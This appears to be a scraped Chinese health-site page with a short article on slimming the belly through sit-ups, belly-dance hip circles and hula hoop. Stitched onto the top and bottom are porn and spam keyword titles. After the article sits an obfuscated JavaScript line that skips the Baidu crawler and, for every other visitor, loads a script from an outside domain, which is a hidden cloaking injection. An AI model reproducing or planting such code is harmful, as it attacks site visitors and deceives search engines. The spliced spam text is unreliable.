久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

健身怎么瘦腹部

2017-04-21 23:49:34  來源:360常識網   熱度:
導語:在這個看臉看身材的時代,人們越來越注意自己的身材啊,長相啊什么的,而擁有馬甲線,服部上有幾塊小小的肌肉是很讓人羨慕的,但如今是腹部

在這個看臉看身材的時代,人們越來越注意自己的身材啊,長相啊什么的,而擁有馬甲線,服部上有幾塊小小的肌肉是很讓人羨慕的,但如今是腹部沒有馬甲線,有的是肥肉,又難看又不好買衣服。所以人們通過各種各樣的健身方式來減掉腹部的肉肉,其實最簡單又不用花很多錢的瘦腹部的健身運動是俯臥撐,仰臥起坐也是會達到同樣的效果的。那么我們來看一看是怎么瘦腹部的。

仰臥起坐為什么是瘦腹部最有效的運動呢?這是因為仰臥起坐針對性強,能夠充分鍛煉腹部的脂肪,讓腹部松垮垮的贅肉變得緊實,但是動作一定要標準,而且運動要適量,否則次日肚子可能會酸到起不來。正確的仰臥起坐做法:仰臥在墊子上,雙腿屈膝成90度左右,腳掌平放地面。雙手可放在頭后,也可放在身體兩側(手的位置越靠近頭部,需要腹部肌力更強,做動作也會更吃力,初學者可以待腹部肌肉增強后再將手交叉在頭后)。利用腹部肌肉的力量慢慢將身體向上拉起,起來時呼氣,當身體上升到離地約10-20厘米厚,收緊腹肌稍作停頓,最后慢慢將身體下降回到原位。

跳肚皮舞,這個動作對減腹部超級有效。具體方法是:雙手舉起或放在腰側,然后保持身體其他部位不動,利用腰腹部肌肉力量帶動胯部在空中畫出“8”字。可以在家邊看電視邊做這個動作,速度不用很快,但記得要到位,“8”字要完整地畫出。

上面舉出兩個運動的方式來教給大家怎么去有效的減掉腹部的肉肉,其實有很多種都可以減掉腹部的,比如說轉呼啦圈就可以減掉腹部的肉肉,如果大家每天堅持這樣做,我相信一定會達到瘦腹部的目的的,不僅可以瘦腹部,而且還有可能擁有馬甲線,既性感又火辣的馬甲線,讓腹部再也沒有肉肉困擾。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩精品一区二区三区中文在线 | 999久久久免费精品国产 | 欧美精品免费在线观看 | 欧美成人黑人xx视频免费观看 | 亚洲欧美一区二区三区在线 | 国产精品一区二区无线 | 一区二区免费 | 亚洲视频在线看 | 久久精品一区二区三区不卡牛牛 | 在线 丝袜 欧美 日韩 制服 | 免费在线一区二区三区 | 欧美三级 欧美一级 | a级全黄| 91免费观看| 亚洲一二三区在线观看 | 97人人干| 91精品国产人妻国产毛片在线 | 日韩精品久久久免费观看夜色 | 日韩精品极品在线观看 | 国产激情精品视频 | 涩涩涩999 | 日韩在线资源 | 男女羞羞视频免费观看 | 91精品国产综合久久精品 | 日韩一二三区 | 四虎影视免费在线观看 | 日本不卡一区二区三区在线观看 | 国产精品1区2区 | 久久精品国产精品青草 | 看毛片网站 | 成人黄色a| 一区二区视频网站 | 亚洲国产高清视频 | 日本黄色片免费 | 一区二区三区观看视频 | 欧美成人精品一区二区男人看 | 国产大片中文字幕在线观看 | 国产一区二区 | 国产精品视频播放 | 懂色一区二区三区免费观看 | 日本一级中文字幕久久久久久 |